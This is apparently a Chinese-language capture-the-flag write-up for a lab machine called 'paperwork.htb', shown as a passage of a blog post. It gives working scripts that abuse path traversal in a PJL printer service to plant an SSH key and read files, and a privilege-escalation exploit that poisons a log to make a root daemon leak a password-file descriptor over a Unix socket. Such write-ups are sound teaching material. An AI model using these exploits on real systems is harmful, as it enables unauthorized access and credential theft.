  2. 然后用SSH登录

脚本:

python3 << 'EOF'
import socket
import time

# 你的SSH公钥(替换成你自己的)
PUBLIC_KEY = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC..."  # 替换成你的公钥

# 目标路径:archivist的authorized_keys
# 路径遍历:从spool目录逃逸到 /home/archivist/.ssh/
target_path = "0:../../../home/archivist/.ssh/authorized_keys"
# 如果 .ssh 目录不存在,需要先创建,但通常已存在

# 连接到PJL服务
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 9100))

# 构造PJL FSDOWNLOAD命令
# 格式:@PJL FSDOWNLOAD NAME="路径" SIZE=大小\n内容\n
pjl_cmd = f'@PJL FSDOWNLOAD NAME="{target_path}" SIZE={len(PUBLIC_KEY)}\n{PUBLIC_KEY}\n'
s.send(pjl_cmd.encode())

# 接收响应
response = s.recv(4096)
print("响应:", response.decode())

s.close()
EOF

验证:

python3 << 'EOF'
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 9100))

# 尝试读取刚刚上传的文件
cmd = '@PJL FSUPLOAD NAME="0:../../../home/archivist/.ssh/authorized_keys" SIZE=9999\n'
s.send(cmd.encode())
response = s.recv(9999)
print("文件内容:", response.decode())

s.close()
EOF

如果有公钥输出就证明写入成功

ssh -i ~/.ssh/id_rsa archivist@paperwork.htb

image-20260714202646514

archivist提权

可以查看/usr/bin/paperwork-daemon文件

lp@paperwork:/tmp$ cat /usr/bin/paperwork-daemon
cat /usr/bin/paperwork-daemon
#!/usr/bin/python3
import socket, os, array, hashlib
import zipfile
import shutil

try:
    admin_fd = os.open("/etc/paperwork/admin_pins.conf", os.O_RDONLY)
except Exception:
    os._exit(1)

LOG_PATH = "/home/archivist/printer/logs/commands.log"

def get_admin_secret():
    data = os.pread(admin_fd, 1024, 0).decode().strip()
    if "ADMIN_PASSWORD=" in data:
        return data.split("ADMIN_PASSWORD=")[1].split("\n")[0]
    return data

def scan_for_malice():
    if not os.path.exists(LOG_PATH):
        return False
    with open(LOG_PATH, 'r') as f:
        content = f.read().upper()
        if any(trigger in content for trigger in ["FSQUERY", "FSUPLOAD", "FSDOWNLOAD"]):
            return True
    return False

def trigger_lockdown(conn):
    try:
        log_fd = os.open(LOG_PATH, os.O_RDONLY)
        evidence_bundle = array.array("i", [log_fd, admin_fd])
        msg = b"ALERT: SECURITY_VIOLATION. FORENSIC_CONTEXT_ATTACHED."
        conn.sendmsg([msg], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, evidence_bundle)])

        zip_path = "/root/quarantine/evidence.zip"
        with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
            zipf.write(LOG_PATH, arcname="commands.log")


        with open(LOG_PATH, 'w') as f:
            f.truncate(0)

        os.close(log_fd)
    except:
        pass

def main():
    socket_path = "/run/paperwork/mgmt.sock"
    if os.path.exists(socket_path): os.remove(socket_path)
    if not os.path.exists("/run/paperwork"): os.makedirs("/run/paperwork")

    s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    s.bind(socket_path)
    os.chmod(socket_path, 0o660)
    os.chown(socket_path, 0, 1000) 
    s.listen(5)

    while True:
        conn, _ = s.accept()
        
        if scan_for_malice():
            trigger_lockdown(conn)
        else:
            secret = get_admin_secret()
            token = hashlib.sha256(f"SYSTEM_CLEAN:{secret}".encode()).hexdigest()
            conn.sendall(f"STATUS: SYSTEM_CLEAN\nSIGNATURE: {token}\n".encode())
            
        conn.close()

if __name__ == "__main__":
    main()

程序整体功能

这是一个运行在 root 权限下的Unix Socket守护进程,用于监控打印机日志中是否有恶意PJL命令,并在发现问题时收集"证据"。


逐行深度解析

启动时:以root身份打开敏感文件

try:
    admin_fd = os.open("/etc/paperwork/admin_pins.conf", os.O_RDONLY)
except Exception:
    os._exit(1)

关键点:

  • 程序启动时(作为root),用 os.open() 打开了 /etc/paperwork/admin_pins.conf
  • admin_fd 是一个文件描述符(整数,比如 3)
  • 这个文件包含管理员密码 ADMIN_PASSWORD=xxx
  • 重点:这个文件描述符在整个程序运行期间一直保持打开状态,权限是 root

辅助函数:读取密码

def get_admin_secret():
    data = os.pread(admin_fd, 1024, 0).decode().strip()
    if "ADMIN_PASSWORD=" in data:
        return data.split("ADMIN_PASSWORD=")[1].split("\n")[0]
    return data

功能:从已经打开的 admin_fd 读取前1024字节,提取 ADMIN_PASSWORD

关键点:

  • os.pread(fd, size, offset) 是无文件权限检查的,因为文件已经打开
  • 使用 admin_fd 这个整数直接读取,绕过了文件系统的权限验证

监控函数:扫描日志文件

def scan_for_malice():
    if not os.path.exists(LOG_PATH):
        return False
    with open(LOG_PATH, 'r') as f:
        content = f.read().upper()
        if any(trigger in content for trigger in ["FSQUERY", "FSUPLOAD", "FSDOWNLOAD"]):
            return True
    return False

功能:读取日志文件 /home/archivist/printer/logs/commands.log,检查是否包含PJL命令关键词

关键点:

  • LOG_PATH 是 archivist 用户可写的目录
  • 只要文件中包含 FSQUERY/FSUPLOAD/FSDOWNLOAD 任一字符串,返回 True

核心漏洞函数:泄露文件描述符

def trigger_lockdown(conn):
    try:
        log_fd = os.open(LOG_PATH, os.O_RDONLY)
        evidence_bundle = array.array("i", [log_fd, admin_fd])
        msg = b"ALERT: SECURITY_VIOLATION. FORENSIC_CONTEXT_ATTACHED."
        conn.sendmsg([msg], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, evidence_bundle)])
        # ... 省略后续代码

这是漏洞的核心! 我拆解给你看:

A. 打开日志文件

log_fd = os.open(LOG_PATH, os.O_RDONLY)
  • 作为root,打开日志文件,获取一个新文件描述符

B. 打包文件描述符

evidence_bundle = array.array("i", [log_fd, admin_fd])
  • array.array("i", [...]) 创建整数数组
  • 包含两个整数:log_fd(日志文件描述符)和 admin_fd(密码文件描述符)

C. 通过socket发送文件描述符

conn.sendmsg([msg], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, evidence_bundle)])
  • sendmsg() 是高级socket发送函数
  • socket.SCM_RIGHTS 是发送文件描述符的特殊标记
  • 关键漏洞:它把 admin_fd(root权限打开的密码文件)直接发送给了连接的客户端

主循环:触发条件

while True:
    conn, _ = s.accept()
    
    if scan_for_malice():
        trigger_lockdown(conn)
    else:
        secret = get_admin_secret()
        token = hashlib.sha256(f"SYSTEM_CLEAN:{secret}".encode()).hexdigest()
        conn.sendall(f"STATUS: SYSTEM_CLEAN\nSIGNATURE: {token}\n".encode())
        
    conn.close()

逻辑:

  1. 等待客户端连接 /run/paperwork/mgmt.sock
  2. 检查日志文件是否包含恶意命令关键词
  3. 如果包含 → 调用 trigger_lockdown(),泄露密码文件描述符
  4. 如果不包含 → 正常返回状态签名

漏洞利用原理图解

攻击者 (archivist)                      root进程 (paperwork-daemon)
     |                                          |
     |  1. 写入 "FSUPLOAD" 到 commands.log      |
     | ----------------------------------------->|
     |                                          |
     |  2. 连接到 /run/paperwork/mgmt.sock       |
     | ----------------------------------------->|
     |                                          |
     |                                  3. 检测到关键词
     |                                  4. 打开 admin_pins.conf (fd=3)
     |                                  5. 打包 [log_fd, admin_fd]
     |                                          |
     |  6. 收到 SCM_RIGHTS 消息 + 文件描述符    |
     | <-----------------------------------------|
     |                                          |
     |  7. 用收到的 fd=3 直接读取密码文件       |
     |     (无需任何权限检查!)                  |
     |                                          |

为什么这个漏洞如此危险?

正常情况:

# archivist 用户尝试读取密码文件
cat /etc/paperwork/admin_pins.conf
# 输出: Permission denied ❌

利用漏洞后:

# archivist 用户通过泄漏的 fd 读取
os.pread(leaked_fd, 1024, 0)
# 成功读取密码内容 ✅ (完全绕过文件权限!)

核心原因:

  • Unix系统中,文件描述符的访问权限在打开时确定
  • 一旦root打开了一个文件,即使后续切换用户,这个fd仍然拥有root权限
  • 通过 SCM_RIGHTS 传递fd,权限也跟着传递

污染日志文件

在 archivist 的shell中:

# 查看日志文件位置
ls -la /home/archivist/printer/logs/

# 写入触发关键词
echo "FSUPLOAD" >> /home/archivist/printer/logs/commands.log

# 确认写入成功
cat /home/archivist/printer/logs/commands.log

py脚本:

#ran this script in /tmp (on user archivist via gained ssh access) to find out the adminpass and used it for the root user 
#while internally switching user using su command

import socket, array, os

path = "/run/paperwork/mgmt.sock"
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect(path)

msg, ancdata, flags, addr = s.recvmsg(4096, socket.CMSG_SPACE(2 * 4))
print("Message:", msg)

fds = array.array("i")
for cmsg_level, cmsg_type, cmsg_data in ancdata:
    if cmsg_level == socket.SOL_SOCKET and cmsg_type == socket.SCM_RIGHTS:
        fds.frombytes(cmsg_data[:len(cmsg_data) - (len(cmsg_data) % fds.itemsize)])

print("Received FDs:", list(fds))

log_fd, admin_fd = fds

# Read the admin_pins.conf via the leaked root fd
data = os.pread(admin_fd, 1024, 0)
print("admin_pins.conf contents:", data.decode(errors="ignore"))

靶机下载执行

image-20260714204713788

image-20260714204858212

posted @ 2026-08-18 17:55  Anaxa  阅读(34)  评论(0)    收藏  举报